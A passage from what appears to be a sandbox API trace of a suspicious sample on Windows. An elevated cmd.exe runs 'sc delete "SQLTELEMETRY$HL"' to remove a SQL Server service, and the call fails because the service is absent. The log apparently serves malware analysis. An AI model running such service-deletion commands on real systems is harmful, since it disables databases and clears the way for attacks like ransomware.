lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.634] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.634] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="\nvice\n\n") returned 1 [0076.634] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.634] GetFileType (hFile=0xb8) returned 0x3 [0076.635] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.635] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.635] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.635] GetFileType (hFile=0x120) returned 0x3 [0076.635] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.635] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLTELEMETRY$HL\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLTELEMETRY$HL\"\n", lpUsedDefaultChar=0x0) returned 29 [0076.635] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x1c, lpOverlapped=0x0) returned 1 [0076.635] GetProcessHeap () returned 0x240000 [0076.635] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0076.635] GetProcessHeap () returned 0x240000 [0076.635] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0076.635] GetProcessHeap () returned 0x240000 [0076.635] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0076.635] GetProcessHeap () returned 0x240000 [0076.635] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0076.635] GetProcessHeap () returned 0x240000 [0076.635] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x44) returned 0x25aa40 [0076.635] GetConsoleOutputCP () returned 0x1b5 [0076.635] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.635] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.636] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.636] GetProcessHeap () returned 0x240000 [0076.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0076.636] GetProcessHeap () returned 0x240000 [0076.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4a) returned 0x259b30 [0076.636] GetProcessHeap () returned 0x240000 [0076.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0076.636] SetErrorMode (uMode=0x0) returned 0x1 [0076.636] SetErrorMode (uMode=0x1) returned 0x0 [0076.636] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0076.636] SetErrorMode (uMode=0x1) returned 0x1 [0076.636] GetProcessHeap () returned 0x240000 [0076.636] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0076.636] GetProcessHeap () returned 0x240000 [0076.636] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0076.636] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0076.636] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0076.636] GetProcessHeap () returned 0x240000 [0076.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0076.636] GetProcessHeap () returned 0x240000 [0076.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0076.636] GetProcessHeap () returned 0x240000 [0076.636] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0076.637] GetProcessHeap () returned 0x240000 [0076.637] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0076.637] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0076.637] GetProcessHeap () returned 0x240000 [0076.637] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x2597e0 [0076.637] GetProcessHeap () returned 0x240000 [0076.637] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x2597e0, Size=0x7e) returned 0x2597e0 [0076.637] GetProcessHeap () returned 0x240000 [0076.637] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2597e0) returned 0x7e [0076.637] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.637] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.637] GetLastError () returned 0x2 [0076.637] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.637] GetLastError () returned 0x2 [0076.637] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.637] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259870 [0076.638] FindClose (in: hFindFile=0x259870 | out: hFindFile=0x259870) returned 1 [0076.638] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.638] GetLastError () returned 0x2 [0076.638] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259870 [0076.638] FindClose (in: hFindFile=0x259870 | out: hFindFile=0x259870) returned 1 [0076.638] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0076.638] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0076.638] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.638] GetProcessHeap () returned 0x240000 [0076.638] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0076.638] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.638] GetProcessHeap () returned 0x240000 [0076.638] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xb0) returned 0x259180 [0076.638] GetProcessHeap () returned 0x240000 [0076.638] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xb0 [0076.639] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLTELEMETRY$HL\"") returned 1 [0076.639] GetProcessHeap () returned 0x240000 [0076.639] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0076.639] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0076.639] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0076.639] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0076.639] GetProcessHeap () returned 0x240000 [0076.639] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0076.639] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0076.639] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0076.639] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0076.639] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0076.639] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0076.640] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.641] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.641] GetProcessHeap () returned 0x240000 [0076.641] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0076.641] GetProcessHeap () returned 0x240000 [0076.641] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0076.641] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLTELEMETRY$HL\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLTELEMETRY$HL\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"SQLTELEMETRY$HL\"", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0xb14, dwThreadId=0xa24)) returned 1 [0076.644] CloseHandle (hObject=0x50) returned 1 [0076.644] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0076.644] GetProcessHeap () returned 0x240000 [0076.644] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0076.644] GetEnvironmentStringsW () returned 0x261b10* [0076.644] GetProcessHeap () returned 0x240000 [0076.644] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0076.644] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.644] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0076.644] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd6000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0076.644] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0076.700] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0076.700] CloseHandle (hObject=0x54) returned 1 [0076.700] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0076.700] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0076.700] GetProcessHeap () returned 0x240000 [0076.700] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0076.700] GetEnvironmentStringsW () returned 0x261b10* [0076.700] GetProcessHeap () returned 0x240000 [0076.700] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0076.700] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.700] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.700] GetProcessHeap () returned 0x240000 [0076.701] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0076.701] GetEnvironmentStringsW () returned 0x261b10* [0076.701] GetProcessHeap () returned 0x240000 [0076.701] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0076.701] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.701] GetProcessHeap () returned 0x240000 [0076.701] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0076.701] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0076.701] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0076.702] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.702] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0076.702] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.702] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0076.703] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.703] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0076.703] GetConsoleOutputCP () returned 0x1b5 [0076.703] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.703] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.703] GetProcessHeap () returned 0x240000 [0076.703] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0076.703] GetProcessHeap () returned 0x240000 [0076.703] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0076.703] GetProcessHeap () returned 0x240000 [0076.703] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0076.704] GetProcessHeap () returned 0x240000 [0076.704] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.704] GetProcessHeap () returned 0x240000 [0076.704] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0076.704] GetProcessHeap () returned 0x240000 [0076.704] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0076.704] GetProcessHeap () returned 0x240000 [0076.704] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0076.704] GetProcessHeap () returned 0x240000 [0076.704] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0076.704] GetProcessHeap () returned 0x240000 [0076.704] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0076.704] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0076.704] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.704] GetFileType (hFile=0x120) returned 0x3 [0076.704] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.704] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0076.704] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0076.704] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0076.704] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.704] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0076.705] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0076.705] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.705] GetFileType (hFile=0x120) returned 0x3 [0076.705] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.705] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0076.705] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0076.705] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.705] GetFileType (hFile=0xb8) returned 0x3 [0076.705] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.705] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.705] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.705] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0076.705] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.705] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.705] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.706] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0076.706] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.706] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.706] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.706] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0076.706] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.706] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.706] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.706] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0076.706] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.706] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.706] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.706] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0076.706] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.706] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.706] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.706] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0076.706] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.706] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.706] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.707] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0076.707] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.707] SetFilePointer (in: hFile=0xb8, 